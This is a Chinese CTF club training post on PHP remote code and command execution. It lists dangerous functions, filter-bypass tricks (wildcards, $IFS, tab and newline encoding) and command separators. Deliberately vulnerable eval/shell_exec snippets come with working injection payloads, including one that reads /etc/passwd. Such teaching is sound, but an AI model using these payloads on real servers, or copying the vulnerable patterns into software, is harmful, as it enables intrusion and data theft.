【社团培训】RCE

每月更新 1/1 嘻嘻

前置知识

代码执行(Remote Code Excution)

应用程序中提供了一些可以将字符串作为代码执行的函数,如PHP中的eval()函数,可以将函数中的参数当做PHP代码执行。如果这些函数的参数控制不严格,可能会被利用,造成任意代码执行。

命令执行(Remote Commond Excution)

应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数能被用户控制,就可能通过命令连接符将恶意命令拼接到正常函数中,从而任意执行系统命令。

相关函数

代码执行函数

eval()
assert()
create_function()

命令执行函数

system()
passthru()
exec()
shell_exec()
proc_open()
popen()
pcntl_exec()
dl()

常见绕过

绕过禁止的flag

fl\ag
a=fl;b=ag;cat $a$b
cat `ls`
cat $(ls)
cat f""lag
cat f*
cat f???
cat ????.???

实战演示-flag被过滤的绕过

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

?c=system("cat f*");

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

?c=passthru ("cat f*");

查看文件命令

cat: 由第一行开始显示文件内容
tac: 从最后一行开始显示,可以看出tac是cat的倒写形式
nl: 显示的时候顺便显示行号
more: 一页一页地显示文件内容
less: 与more类似,但是比more更好的是,可以往前翻页
tail: 只看结尾几行
od: 以二进制的方式读取文件内容
/bin/c?t /etc/passwd

绕过空格

<
<>
%20(space)
%09(tab)
$IFS$9
${IFS} 

实战演示-空格绕过、cat绕过

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ 
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

?c=passthru("tac%09f*");

单行多命令执行

;     执行完前面的语句再执行后面的语句
&   两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
&& 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真
|     显示后面语句的执行结果
||    当前面的语句执行出错时,执行后面的语句
$(touch TGUCTF) 被$包裹的优先级较高
`touch TGUCTF` 在``内的会被当做命令执行

实战演示-单行多命令执行

<?php

if(isset($_GET['ip'])){
	$ip=$_GET['ip'];
	$a=shell_exec("ping -c 4 ".$ip);
	print_r($a);
}
else{
	highlight_file(__FILE__);
}

?ip=x;cat flag.php

实战演示-截断绕过

<?php
if (isset($_GET['c'])) {
	    $c = $_GET['c'];
	        system($c . " >/dev/null 2>&1");
} else {
	    highlight_file(__FILE__);
}
?>

?c=cat f*%0a

上一篇:简单了解WEB漏洞-RCE代码及命令执行漏洞


下一篇:anbox源码分析2